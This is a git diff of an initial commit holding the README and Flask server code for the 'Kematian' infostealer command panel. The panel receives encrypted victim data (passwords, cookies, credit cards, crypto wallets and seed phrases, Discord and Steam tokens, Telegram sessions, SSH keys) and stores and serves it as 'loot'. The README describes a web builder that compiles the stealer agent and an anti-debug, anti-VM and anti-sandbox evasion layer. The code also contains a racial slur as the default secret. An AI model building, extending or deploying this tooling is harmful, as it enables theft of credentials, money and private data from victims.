initial commit
@@ -0,0 +1,159 @@
|
||||
# Kematian Collector Panel
|
||||
|
||||
Admin web dashboard + E2EE JSON ingest for the kematian-standalone agent.
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cd panel
|
||||
pip install -r requirements.txt
|
||||
python app.py
|
||||
```
|
||||
|
||||
Open `http://localhost:5000/setup` to create the admin account, then log in.
|
||||
|
||||
Configure via env before running:
|
||||
|
||||
| Env var | Default | Purpose |
|
||||
|---------------------|------------------------------------------|----------------------------------|
|
||||
| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key |
|
||||
| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send |
|
||||
| `PANEL_PORT` | `5000` | Bind port |
|
||||
|
||||
**Change both secrets before exposing the panel.**
|
||||
|
||||
## E2EE
|
||||
|
||||
Agent → panel traffic is end-to-end encrypted. On first run the panel generates
|
||||
an X25519 keypair at `panel/kematian_e2ee.key`. Its **private key** never leaves
|
||||
the panel; only its **public key** is needed by the agent.
|
||||
|
||||
**The agent fetches that public key itself at runtime** — so at build time you
|
||||
only set the endpoint + ingest key. You never copy a key manually. The panel
|
||||
serves it over:
|
||||
|
||||
```http
|
||||
GET /e2ee/pub
|
||||
Authorization: Bearer <PANEL_INGEST_KEY>
|
||||
```
|
||||
|
||||
Wire scheme (agent encrypts, panel decrypts):
|
||||
`X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305`.
|
||||
Only the panel private key can decrypt the payload.
|
||||
|
||||
## Ingest API
|
||||
|
||||
The agent encrypts its `CollectionResult` and POSTs `{"enc": "<base64 ciphertext>"}`
|
||||
to `/api/ingest` with `Authorization: Bearer <PANEL_INGEST_KEY>`. The panel
|
||||
decrypts and splits every category into its own SQLite table.
|
||||
|
||||
```http
|
||||
POST /api/ingest
|
||||
Authorization: Bearer <PANEL_INGEST_KEY>
|
||||
Content-Type: application/json
|
||||
|
||||
{ "enc": "base64..." }
|
||||
```
|
||||
|
||||
Valid top-level payload keys (inside the encrypted JSON) mirror the Go struct:
|
||||
`clientId, host, passwords, cookies, autofill, history, bookmarks, creditCards,
|
||||
discordTokens, files, extensions, wallets, telegram, keys, appCredentials,
|
||||
gaming, vpns`, plus `seeds`. Gaming/VPNs are stored as nested payload, everything
|
||||
else is flattened per row.
|
||||
|
||||
The agent also ships **binary payloads** (wallet dirs, Telegram sessions, Steam
|
||||
login files) as `payloads: [{category, name, filename, size, data(base64)}]`.
|
||||
The panel writes these to `panel/loot/<client_id>/` and tracks them in the
|
||||
`blobs` table, so they're persisted as a backup and downloadable from the UI.
|
||||
|
||||
## Privacy & hardening
|
||||
|
||||
The panel is not meant to be discovered or probed by randoms:
|
||||
|
||||
- **`/health` and `/e2ee/pub` return 404** unless the caller sends the correct
|
||||
`PANEL_INGEST_KEY` Bearer token. No liveness beacon for scanners.
|
||||
- **Ingest rejects unauthenticated requests** with 401, and (optionally) blocks
|
||||
ingress IPs outside your allowlist with 404.
|
||||
- **Login brute-force throttle** — an IP gets 429 after too many attempts in a
|
||||
window.
|
||||
- **Security headers** on every response: `X-Content-Type-Options`, `X-Frame-Options`,
|
||||
`Referrer-Policy`, `Cache-Control`, and a decoy `Server` banner.
|
||||
- **Optional IP allowlist** via `PANEL_ALLOWED_IPS` (comma-separated). Empty =
|
||||
unrestricted (still gated by creds/rate-limit).
|
||||
|
||||
Additional env:
|
||||
|
||||
| Env var | Default | Purpose |
|
||||
|-----------------------|-------------------------------|------------------------------------------|
|
||||
| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IPs allowed to ingress/login |
|
||||
| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) |
|
||||
| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP |
|
||||
| `PANEL_DECOY_NAME` | `nginx` | Server banner value |
|
||||
| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in the builder form |
|
||||
| `BUILDER_NATIVE_DIR` | `<repo>/Kematian-Standalone/native` | Path to the agent Go source tree |
|
||||
| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built .exe files are stored |
|
||||
|
||||
## Wiring the agent
|
||||
|
||||
The agent collects the data in `native/recovery/exfil/panel.go`. Set two things
|
||||
(either edit the vars or use `final/build_final.bat`):
|
||||
|
||||
- `PanelEndpoint` – the panel's `/api/ingest` URL
|
||||
- `PanelAuth` – the `PANEL_INGEST_KEY`
|
||||
|
||||
The **public key is auto-fetched** from `/e2ee/pub` on first use, so nothing
|
||||
else is needed. `build_final.bat` prompts for the Telegram bot (optional) plus
|
||||
the panel endpoint + auth key, injects them at build time, then restores sources.
|
||||
|
||||
## Web builder
|
||||
|
||||
The panel can build the agent entirely from the browser at **`/build`**:
|
||||
|
||||
1. Enter the panel endpoint + ingest key, optional Telegram bot/chat.
|
||||
2. Enter a build name.
|
||||
3. Click **Build agent** — the panel copies the native Go tree to a temp dir,
|
||||
patches `panel.go` (`PanelEndpoint`/`PanelAuth`) and `main.go` (Telegram),
|
||||
runs `go build`, and drops the `.exe` in `builds/`.
|
||||
4. Watch the live log, then **Download** the fresh agent.
|
||||
|
||||
The server needs `go` installed (and the agent source tree present at
|
||||
`BUILDER_NATIVE_DIR`, or adjacent to the panel). The source is never modified —
|
||||
it's copied, patched, and built in a temp dir. Built files are kept under
|
||||
`BUILDER_OUTPUT_DIR` and served at `/build/download/<name>.exe`.
|
||||
|
||||
### Anti-analysis guard
|
||||
|
||||
Every build ships a Rust anti-analysis layer (`rust-extractor/src/guard.rs`) that
|
||||
runs inside the injected DLL before the payload starts. It scores the environment
|
||||
and refuses to run on analysis hosts:
|
||||
|
||||
- **Anti-debug**: PEB `BeingDebugged`, `NtGlobalFlag` heap flags,
|
||||
`NtQueryInformationProcess` debug port, `CheckRemoteDebuggerPresent`, RDTSC
|
||||
timing (breakpoint/single-step detection).
|
||||
- **Anti-VM**: CPUID hypervisor-present bit + vendor string (VMware/VirtualBox/KVM/
|
||||
QEMU/Xen/Hyper-V), SMBIOS firmware table, low RAM + single-core heuristics.
|
||||
- **Anti-analyze / sandbox**: process scan for known tools (x64dbg, ollydbg, IDA,
|
||||
procmon, wireshark, tcpview, vmtoolsd…), check for sandbox env markers.
|
||||
|
||||
Detection strings are XOR-encrypted so they don't sit in plaintext `.rodata`.
|
||||
The web builder recompiles the Rust extractor before each `go build`; the local
|
||||
`final/build_final.bat` does the same. `Cargo` must be installed and the
|
||||
`x86_64-pc-windows-gnu` target present.
|
||||
|
||||
## Pages
|
||||
|
||||
- `/` – dashboard with per-category stats + hosted-files count + recent clients
|
||||
- `/clients` – all reporting agents
|
||||
- `/client/<id>` – per-client data breakdown, link to its files
|
||||
- `/client/<id>/loot` – that client's hosted login files (wallet/Steam/Telegram)
|
||||
- `/client/<id>/loot/<id>/download` – download one hosted file
|
||||
- `/client/<id>/loot/zip` – download all of that client's files as one backup zip
|
||||
- `/loot` – every hosted file across all clients
|
||||
- `/build` – build a fresh agent from the browser (panel + Telegram config)
|
||||
- `/cat/<category>` – each data type on its own page with an icon
|
||||
- `/search` – search across passwords, cookies, tokens
|
||||
- `/api/raw/<category>` – raw JSON dump (admin auth required)
|
||||
|
||||
Categories: passwords, cookies, autofill, history, bookmarks, credit_cards,
|
||||
discord_tokens, files, extensions, wallets, telegram, keys, app_credentials, seeds,
|
||||
gaming, vpns.
|
||||
@@ -0,0 +1,760 @@
|
||||
"""
|
||||
Kematian Collector Panel
|
||||
========================
|
||||
Admin-authenticated dashboard + raw JSON ingest for the kematian-standalone
|
||||
agent. Each collected data category is stored in its own SQLite table and
|
||||
served on its own page with a dedicated icon.
|
||||
|
||||
Project: https://t.me/electronic_sex
|
||||
|
||||
Run:
|
||||
pip install -r requirements.txt
|
||||
python app.py
|
||||
|
||||
First-run: head to /setup to create the admin account, then / to log in.
|
||||
"""
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
from functools import wraps
|
||||
|
||||
from flask import Flask, render_template, request, session, redirect, url_for, jsonify, abort, g, flash, make_response
|
||||
from werkzeug.security import generate_password_hash, check_password_hash
|
||||
|
||||
import crypto
|
||||
import db
|
||||
import blobs
|
||||
import builder
|
||||
|
||||
app = Flask(__name__)
|
||||
app.secret_key = os.environ.get("PANEL_SECRET", "blackniggers")
|
||||
app.config["JSON_SORT_KEYS"] = False
|
||||
|
||||
# ------------------------------------------------------------------ privacy / hardening
|
||||
# Optional admin allowlist: comma-separated IPs that may log in. Empty = anyone,
|
||||
# but still gated by credentials + rate limit.
|
||||
ALLOWED_IPS = {x.strip() for x in os.environ.get("PANEL_ALLOWED_IPS", "").split(",") if x.strip()}
|
||||
# Short response tokens to confuse generic scanners (shown on probe endpoints).
|
||||
DECOY_NAME = os.environ.get("PANEL_DECOY_NAME", "nginx")
|
||||
# Requests per time window before an IP gets throttled.
|
||||
RATE_LIMIT_WINDOW = int(os.environ.get("PANEL_RATE_WINDOW", "60"))
|
||||
RATE_LIMIT_MAX = int(os.environ.get("PANEL_RATE_MAX", "10"))
|
||||
RATE_HITS = {} # ip -> [timestamps]
|
||||
|
||||
|
||||
def client_ip():
|
||||
return request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip()
|
||||
|
||||
|
||||
def rate_limited():
|
||||
"""Return True if this IP has crossed the throttle limit for the window."""
|
||||
ip = client_ip()
|
||||
now = time.time()
|
||||
hits = RATE_HITS.setdefault(ip, [])
|
||||
hits = [t for t in hits if now - t < RATE_LIMIT_WINDOW]
|
||||
RATE_HITS[ip] = hits
|
||||
return len(hits) >= RATE_LIMIT_MAX
|
||||
|
||||
|
||||
def rate_hit():
|
||||
RATE_HITS.setdefault(client_ip(), []).append(time.time())
|
||||
|
||||
|
||||
def ip_allowed():
|
||||
if not ALLOWED_IPS:
|
||||
return True
|
||||
return client_ip() in ALLOWED_IPS
|
||||
|
||||
|
||||
# One-shot setup lock lives on disk (next to the DB) so it survives resets.
|
||||
SETUP_LOCK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".setup_done")
|
||||
|
||||
|
||||
def setup_locked():
|
||||
return os.path.exists(SETUP_LOCK_FILE)
|
||||
|
||||
|
||||
def mark_setup_done():
|
||||
try:
|
||||
with open(SETUP_LOCK_FILE, "w") as f:
|
||||
f.write(str(int(time.time())))
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
@app.after_request
|
||||
def security_headers(resp):
|
||||
resp.headers["X-Content-Type-Options"] = "nosniff"
|
||||
resp.headers["X-Frame-Options"] = "DENY"
|
||||
resp.headers["Referrer-Policy"] = "no-referrer"
|
||||
resp.headers["X-XSS-Protection"] = "0"
|
||||
resp.headers["Cache-Control"] = "no-store"
|
||||
resp.headers["Server"] = DECOY_NAME
|
||||
return resp
|
||||
|
||||
|
||||
# Hide a couple of default Flask facts from cursory scan tooling.
|
||||
app.config["SERVER_NAME"] = None
|
||||
|
||||
|
||||
def fmt_dt(ts):
|
||||
if not ts:
|
||||
return "—"
|
||||
return time.strftime("%Y-%m-%d %H:%M", time.localtime(ts))
|
||||
|
||||
|
||||
def fmt_size(n):
|
||||
try:
|
||||
n = int(n)
|
||||
except (TypeError, ValueError):
|
||||
return "—"
|
||||
for unit in ("B", "KB", "MB", "GB"):
|
||||
if n < 1024 or unit == "GB":
|
||||
return f"{n:.1f} {unit}"
|
||||
n /= 1024
|
||||
|
||||
|
||||
app.jinja_env.filters["datetime"] = fmt_dt
|
||||
app.jinja_env.filters["filesize"] = fmt_size
|
||||
|
||||
# Ingest API key. Override via env: PANEL_INGEST_KEY
|
||||
INGEST_KEY = os.environ.get("PANEL_INGEST_KEY", "CHANGE-ME")
|
||||
# Public-facing ingest URL of this panel, used to pre-fill the builder form.
|
||||
_public_url = os.environ.get("PANEL_PUBLIC_URL", "").strip().rstrip("/")
|
||||
PANEL_PUBLIC_URL = (_public_url + "/api/ingest") if _public_url else "/api/ingest"
|
||||
|
||||
|
||||
# Map of category -> (label, table, icon path, page title)
|
||||
CATEGORIES = {
|
||||
"passwords": ("Passwords", "passwords", "pass", "Stored Login Credentials"),
|
||||
"cookies": ("Cookies", "cookies", "cookie", "Browser Cookies"),
|
||||
"autofill": ("Autofill", "autofill", "autofill", "Autofill Data"),
|
||||
"history": ("History", "history", "history", "Browsing History"),
|
||||
"bookmarks": ("Bookmarks", "bookmarks", "bookmark", "Bookmarks"),
|
||||
"credit_cards": ("Credit Cards", "credit_cards", "card", "Saved Cards & Billing"),
|
||||
"discord_tokens": ("Discord Tokens", "discord_tokens", "discord", "Discord Tokens"),
|
||||
"files": ("Files", "files", "files", "Interesting Files"),
|
||||
"extensions": ("Extensions", "extensions", "extension","Browser Extensions"),
|
||||
"wallets": ("Wallets", "wallets", "wallet", "Crypto Wallets"),
|
||||
"telegram": ("Telegram", "telegram", "telegram", "Telegram Sessions"),
|
||||
"keys": ("SSH / Cloud Keys","keys", "key", "SSH & Auth Keys"),
|
||||
"app_credentials": ("App Credentials", "app_credentials", "app", "App Credentials"),
|
||||
"seeds": ("Seed Phrases", "seeds", "seed", "Crypto Seed Phrases"),
|
||||
"gaming": ("Gaming", "gaming", "game", "Gaming Accounts"),
|
||||
"steam_tokens": ("Steam Tokens", "steam_tokens", "steam", "Steam Login & Refresh Tokens"),
|
||||
"vpns": ("VPNs", "vpns", "vpn", "VPN Configurations"),
|
||||
}
|
||||
|
||||
|
||||
def now_ts():
|
||||
return int(time.time())
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- auth
|
||||
def login_required(f):
|
||||
@wraps(f)
|
||||
def wrapper(*args, **kwargs):
|
||||
if not session.get("admin"):
|
||||
return redirect(url_for("login", next=request.path))
|
||||
return f(*args, **kwargs)
|
||||
return wrapper
|
||||
|
||||
|
||||
@app.context_processor
|
||||
def inject_globals():
|
||||
import os as _os
|
||||
return {
|
||||
"categories": CATEGORIES,
|
||||
"cat": CATEGORIES,
|
||||
"os": _os,
|
||||
}
|
||||
|
||||
|
||||
@app.route("/setup", methods=["GET", "POST"])
|
||||
def setup():
|
||||
if not ip_allowed():
|
||||
return abort(404)
|
||||
db.init_db()
|
||||
# One-shot lock: once setup has completed, /setup is permanently closed.
|
||||
# Uses a persistent marker file (independent of the DB), so even if the admin
|
||||
# table is cleared or the DB is reset, setup cannot be re-run.
|
||||
if setup_locked():
|
||||
flash("Setup is already complete. Log in instead.", "info")
|
||||
return redirect(url_for("login"))
|
||||
conn = db.get_conn()
|
||||
existing = conn.execute("SELECT id FROM admin").fetchone()
|
||||
conn.close()
|
||||
if existing:
|
||||
mark_setup_done()
|
||||
flash("Admin already exists. Log in instead.", "info")
|
||||
return redirect(url_for("login"))
|
||||
if rate_limited():
|
||||
return abort(429)
|
||||
if request.method == "POST":
|
||||
rate_hit()
|
||||
user = (request.form.get("username") or "").strip()
|
||||
pwd = request.form.get("password") or ""
|
||||
if len(user) < 3:
|
||||
flash("Username must be at least 3 characters.", "error")
|
||||
elif len(pwd) < 6:
|
||||
flash("Password must be at least 6 characters.", "error")
|
||||
else:
|
||||
conn = db.get_conn()
|
||||
try:
|
||||
conn.execute(
|
||||
"INSERT INTO admin (username, password_hash) VALUES (?, ?)",
|
||||
(user, generate_password_hash(pwd)),
|
||||
)
|
||||
conn.commit()
|
||||
finally:
|
||||
conn.close()
|
||||
mark_setup_done()
|
||||
flash("Admin created. Log in now.", "success")
|
||||
return redirect(url_for("login"))
|
||||
return render_template("setup.html")
|
||||
|
||||
|
||||
@app.route("/login", methods=["GET", "POST"])
|
||||
def login():
|
||||
if not ip_allowed():
|
||||
return abort(404)
|
||||
db.init_db()
|
||||
if request.method == "POST":
|
||||
if rate_limited():
|
||||
return abort(429)
|
||||
rate_hit()
|
||||
user = (request.form.get("username") or "").strip()
|
||||
pwd = request.form.get("password") or ""
|
||||
conn = db.get_conn()
|
||||
row = conn.execute("SELECT * FROM admin WHERE username = ?", (user,)).fetchone()
|
||||
conn.close()
|
||||
if row and check_password_hash(row["password_hash"], pwd):
|
||||
session["admin"] = row["username"]
|
||||
RATE_HITS.pop(client_ip(), None)
|
||||
flash("Welcome back.", "success")
|
||||
nxt = request.args.get("next") or url_for("dashboard")
|
||||
return redirect(nxt)
|
||||
flash("Invalid credentials.", "error")
|
||||
return render_template("login.html")
|
||||
|
||||
|
||||
@app.route("/logout")
|
||||
def logout():
|
||||
session.pop("admin", None)
|
||||
flash("Logged out.", "info")
|
||||
return redirect(url_for("login"))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- dashboard
|
||||
@app.route("/")
|
||||
def index():
|
||||
return redirect(url_for("login") if not session.get("admin") else url_for("dashboard"))
|
||||
|
||||
|
||||
@app.route("/dashboard")
|
||||
@login_required
|
||||
def dashboard():
|
||||
conn = db.get_conn()
|
||||
client_count = conn.execute("SELECT COUNT(*) c FROM clients").fetchone()["c"]
|
||||
total = conn.execute("SELECT COALESCE(SUM(total_entries),0) t FROM clients").fetchone()["t"]
|
||||
stats = {}
|
||||
for key, (label, table, icon, _title) in CATEGORIES.items():
|
||||
rows = conn.execute(f"SELECT COUNT(*) c FROM {table}").fetchone()["c"]
|
||||
stats[key] = {"label": label, "count": rows, "icon": icon}
|
||||
recent = conn.execute(
|
||||
"SELECT client_id, os, arch, ip, first_seen, last_seen, total_entries "
|
||||
"FROM clients ORDER BY last_seen DESC LIMIT 8"
|
||||
).fetchall()
|
||||
conn.close()
|
||||
loot_count = len(blobs.blobs_for())
|
||||
|
||||
# --- chart data: entries per category + activity over the last 24h ---
|
||||
chart_labels = [stats[k]["label"] for k in CATEGORIES]
|
||||
chart_values = [stats[k]["count"] for k in CATEGORIES]
|
||||
chart_icons = [stats[k]["icon"] for k in CATEGORIES]
|
||||
|
||||
return render_template(
|
||||
"dashboard.html",
|
||||
client_count=client_count,
|
||||
total=total,
|
||||
loot_count=loot_count,
|
||||
stats=stats,
|
||||
recent=recent,
|
||||
chart_labels=chart_labels,
|
||||
chart_values=chart_values,
|
||||
chart_icons=chart_icons,
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- clients
|
||||
@app.route("/clients")
|
||||
@login_required
|
||||
def clients():
|
||||
conn = db.get_conn()
|
||||
rows = conn.execute(
|
||||
"SELECT * FROM clients ORDER BY last_seen DESC"
|
||||
).fetchall()
|
||||
conn.close()
|
||||
return render_template("clients.html", clients=rows)
|
||||
|
||||
|
||||
@app.route("/client/<client_id>")
|
||||
@login_required
|
||||
def client_detail(client_id):
|
||||
conn = db.get_conn()
|
||||
cli = conn.execute("SELECT * FROM clients WHERE client_id = ?", (client_id,)).fetchone()
|
||||
if not cli:
|
||||
conn.close()
|
||||
abort(404)
|
||||
per_cat = {}
|
||||
for key, (label, table, icon, _title) in CATEGORIES.items():
|
||||
c = conn.execute(f"SELECT COUNT(*) c FROM {table} WHERE client_id = ?", (client_id,)).fetchone()["c"]
|
||||
per_cat[key] = {"label": label, "count": c, "icon": icon}
|
||||
conn.close()
|
||||
return render_template("client_detail.html", cli=cli, per_cat=per_cat)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- category pages
|
||||
@app.route("/cat/<key>")
|
||||
@login_required
|
||||
def category(key):
|
||||
if key not in CATEGORIES:
|
||||
abort(404)
|
||||
label, table, icon, title = CATEGORIES[key]
|
||||
client_filter = request.args.get("client")
|
||||
conn = db.get_conn()
|
||||
if client_filter:
|
||||
rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ? ORDER BY id DESC", (client_filter,)).fetchall()
|
||||
else:
|
||||
rows = conn.execute(f"SELECT * FROM {table} ORDER BY id DESC").fetchall()
|
||||
conn.close()
|
||||
return render_template(
|
||||
"categories/view.html",
|
||||
key=key,
|
||||
label=label,
|
||||
icon=icon,
|
||||
title=title,
|
||||
table=table,
|
||||
rows=rows,
|
||||
client_filter=client_filter,
|
||||
)
|
||||
|
||||
|
||||
@app.route("/api/raw/<key>")
|
||||
@login_required
|
||||
def api_raw(key):
|
||||
if key not in CATEGORIES:
|
||||
abort(404)
|
||||
_label, table, _icon, _title = CATEGORIES[key]
|
||||
client_filter = request.args.get("client")
|
||||
conn = db.get_conn()
|
||||
if client_filter:
|
||||
cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()]
|
||||
rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ?", (client_filter,)).fetchall()
|
||||
else:
|
||||
cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()]
|
||||
rows = conn.execute(f"SELECT * FROM {table}").fetchall()
|
||||
conn.close()
|
||||
payload = [dict(r) for r in rows]
|
||||
return jsonify({"columns": cols, "rows": payload})
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- payloads / backups
|
||||
@app.route("/client/<client_id>/loot")
|
||||
@login_required
|
||||
def client_loot(client_id):
|
||||
"""List the hosted payload files for a client."""
|
||||
blobs_for = blobs.blobs_for(client_id)
|
||||
return render_template("loot.html", client_id=client_id, blobs=blobs_for)
|
||||
|
||||
|
||||
@app.route("/client/<client_id>/loot/<int:blob_id>/download")
|
||||
@login_required
|
||||
def loot_download(client_id, blob_id):
|
||||
"""Download one hosted payload zip."""
|
||||
path = blobs.blob_path(client_id, blob_id)
|
||||
if not path:
|
||||
abort(404)
|
||||
# send_file needs the filename to preserve the download name
|
||||
from flask import send_file
|
||||
return send_file(path, as_attachment=True, download_name=os.path.basename(path))
|
||||
|
||||
|
||||
@app.route("/client/<client_id>/loot/zip")
|
||||
@login_required
|
||||
def loot_zip(client_id):
|
||||
"""Bundle every hosted payload for a client into one download zip (backup)."""
|
||||
import io, zipfile
|
||||
items = blobs.blobs_for(client_id)
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
|
||||
for b in items:
|
||||
path = blobs.blob_path(client_id, b["id"])
|
||||
if path:
|
||||
z.write(path, arcname=f"{client_id}/{b['filename']}")
|
||||
buf.seek(0)
|
||||
from flask import send_file
|
||||
return send_file(buf, as_attachment=True, download_name=f"{client_id}_loot.zip", mimetype="application/zip")
|
||||
|
||||
|
||||
@app.route("/loot")
|
||||
@login_required
|
||||
def all_loot():
|
||||
"""Every payload file across all clients."""
|
||||
items = blobs.blobs_for()
|
||||
return render_template("loot_all.html", blobs=items)
|
||||
|
||||
|
||||
@app.route("/fileshare")
|
||||
@login_required
|
||||
def fileshare():
|
||||
"""File share overview: every hosted file + clients that have files."""
|
||||
items = blobs.blobs_for()
|
||||
by_client = {}
|
||||
uploaded = 0
|
||||
for b in items:
|
||||
by_client[b["client_id"]] = by_client.get(b["client_id"], 0) + 1
|
||||
if b["client_id"] == "upload":
|
||||
uploaded += 1
|
||||
return render_template("fileshare.html", blobs=items, by_client=by_client, uploaded=uploaded)
|
||||
|
||||
|
||||
@app.route("/fileshare/upload", methods=["POST"])
|
||||
@login_required
|
||||
def fileshare_upload():
|
||||
"""Upload a file (admin) into the built-in file share."""
|
||||
f = request.files.get("file")
|
||||
if not f or not f.filename:
|
||||
flash("Choose a file to upload.", "error")
|
||||
return redirect(url_for("fileshare"))
|
||||
category = (request.form.get("category") or "upload").strip() or "upload"
|
||||
try:
|
||||
data = f.read()
|
||||
blob_id = blobs.upload_public(f.filename, data, category=category)
|
||||
flash(f"Uploaded {f.filename}", "success")
|
||||
return redirect(url_for("fileshare"))
|
||||
except Exception as e:
|
||||
flash(f"Upload failed: {e}", "error")
|
||||
return redirect(url_for("fileshare"))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- ingest API
|
||||
def authorized_auth():
|
||||
"""Validate the ingress Bearer token. Compares against the configured key."""
|
||||
auth = request.headers.get("Authorization", "")
|
||||
return auth == f"Bearer {INGEST_KEY}"
|
||||
|
||||
|
||||
@app.route("/api/ingest", methods=["POST"])
|
||||
def ingest():
|
||||
# Require both a valid ingress key AND (if set) an allowed ingress IP, so a
|
||||
# random person curling the domain can't even attempt to feed garbage.
|
||||
if not authorized_auth():
|
||||
abort(401)
|
||||
if not ip_allowed():
|
||||
abort(404)
|
||||
data = request.get_json(silent=True)
|
||||
|
||||
# E2EE envelope: {"enc": "<base64 ciphertext>"} — decrypt to recover the
|
||||
# CollectionResult, then land each category in its own table.
|
||||
if isinstance(data, dict) and data.get("enc"):
|
||||
try:
|
||||
plain = crypto.decrypt_wire(data["enc"])
|
||||
except Exception as e:
|
||||
return jsonify({"error": "decryption failed", "detail": str(e)}), 400
|
||||
try:
|
||||
data = json.loads(plain)
|
||||
except Exception:
|
||||
return jsonify({"error": "decrypted payload is not valid JSON"}), 400
|
||||
|
||||
if not isinstance(data, dict):
|
||||
return jsonify({"error": "body must be a JSON object"}), 400
|
||||
|
||||
client_id = data.get("clientId") or data.get("client_id")
|
||||
if not client_id:
|
||||
client_id = str(base64.urlsafe_b64encode(os.urandom(9)), "ascii")
|
||||
while len(client_id) < 12:
|
||||
client_id += "x"
|
||||
client_id = client_id[:12]
|
||||
|
||||
host = data.get("host") or {}
|
||||
ip = request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip()
|
||||
ts = now_ts()
|
||||
total_new = 0
|
||||
payload_saved = 0
|
||||
|
||||
conn = db.get_conn()
|
||||
try:
|
||||
conn.execute("BEGIN")
|
||||
existing = conn.execute("SELECT id FROM clients WHERE client_id = ?", (client_id,)).fetchone()
|
||||
if existing:
|
||||
conn.execute(
|
||||
"UPDATE clients SET last_seen=?, ip=?, user_agent=?, version=?, os=COALESCE(?, os), arch=COALESCE(?, arch) "
|
||||
"WHERE client_id=?",
|
||||
(ts, ip, request.headers.get("User-Agent", ""), host.get("version", ""),
|
||||
host.get("os", ""), host.get("arch", ""), client_id),
|
||||
)
|
||||
else:
|
||||
conn.execute(
|
||||
"INSERT INTO clients (client_id, os, arch, version, ip, user_agent, first_seen, last_seen) "
|
||||
"VALUES (?,?,?,?,?,?,?,?)",
|
||||
(client_id, host.get("os", ""), host.get("arch", ""), host.get("version", ""),
|
||||
ip, request.headers.get("User-Agent", ""), ts, ts),
|
||||
)
|
||||
|
||||
# helper: bulk-insert a category with clear-then-replace strategy
|
||||
def insert_cat(cat_keys, target_table, mapper):
|
||||
nonlocal total_new
|
||||
items = data.get(cat_keys, [])
|
||||
if items is None:
|
||||
items = []
|
||||
for it in items:
|
||||
if not isinstance(it, dict):
|
||||
continue
|
||||
cols, vals = mapper(it)
|
||||
q = f"INSERT INTO {target_table} (client_id, {', '.join(cols)}) VALUES ({','.join('?' for _ in range(len(cols)+1))})"
|
||||
conn.execute(q, [client_id] + vals)
|
||||
total_new += 1
|
||||
return len(items)
|
||||
|
||||
insert_cat("passwords", "passwords", lambda d: (
|
||||
["url", "username", "password", "browser", "profile"],
|
||||
[d.get("url"), d.get("username"), d.get("password"), d.get("browser"), d.get("profile")],
|
||||
))
|
||||
|
||||
insert_cat("cookies", "cookies", lambda d: (
|
||||
["host", "name", "value", "path", "secure", "http_only", "expires_utc", "browser", "profile"],
|
||||
[d.get("host"), d.get("name"), d.get("value"), d.get("path"),
|
||||
int(bool(d.get("secure"))), int(bool(d.get("httpOnly"))),
|
||||
d.get("expiresUtc"), d.get("browser"), d.get("profile")],
|
||||
))
|
||||
|
||||
insert_cat("autofill", "autofill", lambda d: (
|
||||
["name", "value", "date_created", "browser", "profile"],
|
||||
[d.get("name"), d.get("value"), d.get("dateCreated"), d.get("browser"), d.get("profile")],
|
||||
))
|
||||
|
||||
insert_cat("history", "history", lambda d: (
|
||||
["url", "title", "visit_time_unix", "visit_count", "last_visit_time", "browser", "profile"],
|
||||
[d.get("url"), d.get("title"), d.get("visitTimeUnix"), d.get("visitCount"),
|
||||
d.get("lastVisitTime"), d.get("browser"), d.get("profile")],
|
||||
))
|
||||
|
||||
insert_cat("bookmarks", "bookmarks", lambda d: (
|
||||
["name", "url", "type", "browser", "profile"],
|
||||
[d.get("name"), d.get("url"), d.get("type"), d.get("browser"), d.get("profile")],
|
||||
))
|
||||
|
||||
insert_cat("creditCards", "credit_cards", lambda d: (
|
||||
["name_on_card", "expiration_month", "expiration_year", "card_number", "nickname", "browser", "profile"],
|
||||
[d.get("nameOnCard"), d.get("expirationMonth"), d.get("expirationYear"),
|
||||
d.get("cardNumber"), d.get("nickname"), d.get("browser"), d.get("profile")],
|
||||
))
|
||||
|
||||
insert_cat("discordTokens", "discord_tokens", lambda d: (
|
||||
["token", "source"],
|
||||
[d.get("token"), d.get("source")],
|
||||
))
|
||||
|
||||
insert_cat("files", "files", lambda d: (
|
||||
["path", "name", "ext", "size", "modified", "dir", "tags"],
|
||||
[d.get("path"), d.get("name"), d.get("ext"), d.get("size"),
|
||||
d.get("modified"), d.get("dir"), ";".join(d.get("tags", [])) if isinstance(d.get("tags"), list) else d.get("tags")],
|
||||
))
|
||||
|
||||
insert_cat("extensions", "extensions", lambda d: (
|
||||
["ext_id", "name", "version", "browser", "profile", "path", "category"],
|
||||
[d.get("extId"), d.get("name"), d.get("version"), d.get("browser"), d.get("profile"), d.get("path"), d.get("category")],
|
||||
))
|
||||
|
||||
insert_cat("wallets", "wallets", lambda d: (
|
||||
["name", "type", "path", "files", "size", "addresses", "vault_data"],
|
||||
[d.get("name"), d.get("type"), d.get("path"), d.get("files"), d.get("size"),
|
||||
";".join(d.get("addresses", [])) if isinstance(d.get("addresses"), list) else d.get("addresses"), d.get("vaultData")],
|
||||
))
|
||||
|
||||
insert_cat("telegram", "telegram", lambda d: (
|
||||
["account", "path", "files", "size"],
|
||||
[d.get("account"), d.get("path"), d.get("files"), d.get("size")],
|
||||
))
|
||||
|
||||
insert_cat("keys", "keys", lambda d: (
|
||||
["type", "name", "path", "size", "content"],
|
||||
[d.get("type"), d.get("name"), d.get("path"), d.get("size"), d.get("content")],
|
||||
))
|
